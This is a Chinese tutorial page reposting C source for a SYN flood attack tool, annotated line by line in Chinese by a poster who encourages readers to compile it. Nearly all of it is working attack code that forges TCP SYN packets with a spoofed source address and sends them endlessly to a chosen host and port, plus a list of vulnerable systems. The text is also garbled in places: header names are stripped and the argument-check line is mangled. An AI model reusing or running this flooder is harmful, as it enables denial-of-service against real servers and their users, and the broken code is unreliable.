一个SYN攻击的代码分析--Used Gcc/RedHat Linux 9.0编译_PHP教程
程序员文章站
2024-04-05 16:47:00
...
这是一个SYN攻击的源程序： 大家试着读一读，看是否能读懂，不懂可以给我留言。 我加的有中文注释。 /* Syn Attack against a port for Solaris */ /* Original land attack, land.c by m3lt, FLC */ /* Ported to 44BSD by blast and jerm */ /* Ported to Solaris by ziro antagonist */ /* Referenced flood.c by unknown author */ /* Converted into a syn attack against one port by CRG */ /* Please use this for educational purposes only */ /* Compiles on Solaris gcc -o synsol synsol.c -lsocket -lnsl */ /* Additional notes: */ /* Successfully compiled on Solaris 2.51 and 2.6 */ /* Runs: synsol */ /* */ /* Tested it on: Solaris 2.6 */ /* */ /* Attacked against: */ /* Linux 2.0.33 - vulnerable */ /* Linux 2.0.30 - vulnerable */ /* Linux 1.2.13 - vulnerable */ /* Solaris 2.4 - vulnerable */ /* Solaris 2.5.1 - vulnerable */ /* SunOS 4.1.3_U3 - vulnerable */ /* Solaris 2.6 - not vulnerable */ /* */ /* Most of these test machines are not patched because they */ /* are in test lab. I tested the program against port 23 and */ /* every once in awhile I did get through. */ /* */ /* Direct any comments, questions, improvements to */ /* packetstorm@genocide2600.com */ /* http://www.genocide2600.com/~tattooman/ */ /* Your emails will be forwarded to the author, who wishes */ /* to remain known only as CRG (no email addy or URL) */ /*jjgirl:上面的注释的不用说了！*/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /*jjgirl:上面是头文件！*/ unsigned long srcport; struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; /*jjgirl:定义一个伪装地址的结构！*/ u_short checksum(u_short * data,u_short length) { int nleft = length; int sum=0; unsigned short *w = data; unsigned short value = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(unsigned char *) (&value) = *(unsigned char *) w; sum += value; } sum = (sum >>16) + (sum & 0xffff); sum += (sum >> 16); value = ~sum; return(value); } /*jjgirl:上面校验文件！包头是需要校验的，CRC校验！*/ int main(int argc,char * * argv) {/*jjgirl:主程序开始了！*/ struct sockaddr_in sin; struct sockaddr_in din; struct hostent * hoste; struct hostent * host1; int j,sock,foo, flooddot=1; char buffer[40]; struct ip * ipheader=(struct ip *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip)); struct pseudohdr pseudoheader; /*jjgirl:上面定义变量！*/ fprintf(stderr,"Syn attack against one port.(Infinite) "); if(argch_addr,&din.sin_addr,host1->h_length); else if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1) { fprintf(stderr,"unknown source host %s ",argv[3]); return(-1); } if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown destination host %s ",argv[1]); return(-1); } if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s ",argv[2]); return(-1); } /*jjgirl:上面是给sockaddr_in结构赋值，需要指明协议，端口号！*/ if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldnt allocate raw socket "); return(-1); } /*jjgirl:上面开始Socket了！*/ foo=1; if(setsockopt(sock,0,IP_HDRINCL,(char *)&foo,sizeof(int))==-1) { fprintf(stderr,"couldnt set raw header on socket "); return(-1); } /*jjgirl:上面是为了重构报头！*/ for(j=1;j>0;j++) { bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr)); ipheader->ip_v=4; ipheader->ip_tos=0; ipheader->ip_hl=sizeof(struct ip)/4; ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr); ipheader->ip_id=htons(random()); ipheader->ip_ttl=30; /*255;*/ ipheader->ip_p=IPPROTO_TCP; ipheader->ip_sum=0; ipheader->ip_src=din.sin_addr; ipheader->ip_dst=sin.sin_addr; tcpheader->th_sport=htons(srcport); /*sin.sin_port;*/ tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0x28374839); tcpheader->th_flags=TH_SYN; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); tcpheader->th_sum=0; bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=din.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); /*jjgirl:上面是重构报头！*/ srcport= (10000.0*random()/(15000+1.0)); /*jjgirl:端口当然要变！*/ if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1) /*jjgirl:攻击开始！*/ { fprintf(stderr,"couldnt send packet,%d ",errno); return(-1); } usleep(2); if (!(flooddot = (flooddot+1)%(1))) /*jjgirl:显示次数！ Jjgirl 把上面一句,改为如下两句,增加显示效果,随你的便！ int k=j; if((k%10)==0) printf(" "); */ } /*The end of the infinite loop*/ close(sock); return(0); } /*jjgirl:结束！编译试试吧！如果有看不懂可以给我留言,或E-MAIL:qiyu155@126.com！*/